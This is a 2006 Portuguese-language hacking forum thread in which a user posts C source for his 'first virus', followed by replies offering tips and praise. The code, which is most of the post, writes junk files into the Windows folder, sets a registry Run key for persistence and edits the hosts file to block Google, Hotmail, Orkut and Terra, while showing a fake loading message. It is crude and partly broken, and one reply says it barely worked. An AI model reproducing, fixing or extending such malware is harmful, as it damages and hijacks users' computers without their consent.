Meu primeiro Vírus..(C)

Started by _Dr4k0_, 02 de November , 2006, 02:55:45 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

_Dr4k0_

Gente este é o meu primeiro vírus..É bem simples e recebi várias ajudas...
é o meu primeiro então não saiu grande coisa.. espero que gostem e sirvam de estudo para voces...
e o vírus foi codado em cima dos conhecimentos do tuto do dark_side

vamos deichar de enrolação e e postar logo o source..

/************************
**Virus coded by _Dr4k0_*
**Member of BrazLab     *
**Greetz to dark_side,  *
**gbr,storm,Defcon,     *
**Haxnetwork,etc..      *
**************************/ 
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <string.h>
HKEY chave;
const char valor[] = "C:\\WINDOWS\\programa.exe";

int Reproduz (){
CopyFile("C:\\arquivo.exe","C:\\WINDOWS\\arquivo.exe",FALSE);
return 0;
}

int  Cria(){
FILE *fp=fopen("C:\\arquivo.exe","a+b");
int x;

for(x=0;x<=100000;x++)
  fprintf(fp,"bla bla bla");

fclose(fp);

char string[256];
int y;

{
ZeroMemory(&string,sizeof(string));
sprintf(string,"C:\\WINDOWS\\arq%d.exe",y);
CopyFile("C:\\arquivo.exe",string,0);
}
return 0;
}

int Reg(){
RegOpenKey(HKEY_LOCAL_MACHINE,"SoftWare\\Microsoft\\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,"Programa",0,REG_SZ,(LPBYTE)valor,strlen(valor));
RegCloseKey(chave);
return 0;
}

int Host ()
{
FILE *fp = fopen("C:\\WINDOWS\\system32\\drivers\\etc\\hosts","a+b");
if(fp != NULL){
fputs("0.0.0.0 www.google.com.br\n0.0.0.0 www.orkut.com\n0.0.0.0 www.hotmail.com\n0.0.0.0 www.terra.com.br",fp);
fclose(fp);
}
return 0;
}

int main() {
Cria();
Reproduz();
Reg();
Host();

printf ("C");Sleep(10000);printf ("a");Sleep(10000);printf ("r");Sleep(10000);printf ("r");Sleep(10000);printf ("e");Sleep(10000);printf ("g");Sleep(10000);printf ("a");Sleep(10000);printf ("n");Sleep(10000);printf ("d");Sleep(10000);printf ("o");Sleep(10000);printf (".");Sleep(10000);printf (".");Sleep(10000);printf (".");Sleep(10000);printf (".");Sleep(10000);printf (".\n");Sleep(10000);
printf ("Coded by _Dr4k0_");
printf ("Diga ai como esta..Fico legal o code? :D");

return 0;
}

100% Livre!!!Livre para escolher o que há de melhor no Windows e Linux. Livre de preconceito direto ou inverso!
Adote essa filosofia e tenha mais chance de sucesso profissional.

Anonymous


Anonymous

ao inves de C:\\WINDOWS\\system32, põe windir...

veja uma lista de variáveis de ambiente...

vai no dos e digita set que ele te mnostra.

Abraços

rog

nao tenho certeza que windir seja interpretado assim no C

no C++ tem que chamar uma funçao para buscar ele

rog
realty.sys is corrupt :  reboot the universe (Y/N)

Anonymous

Cool _Dr4k0_,  mas isso aí ta mais pra worm do q virus, hehehe, mesmo assim, pra quem ta começando esta super bom, uma dica pra vc, aprenda o formato PE

script

eu testei este vírus no meu pc, e ele ñ infectou nada, soh criou um arquivo com blablabla

ele nem se copiar copia!

java_aly

_Dr4k0_ É exatamente
dessa forma que se começa...

Parabens...   :D
"_  O vírus da cura ou a cura do vírus, isso depende... _"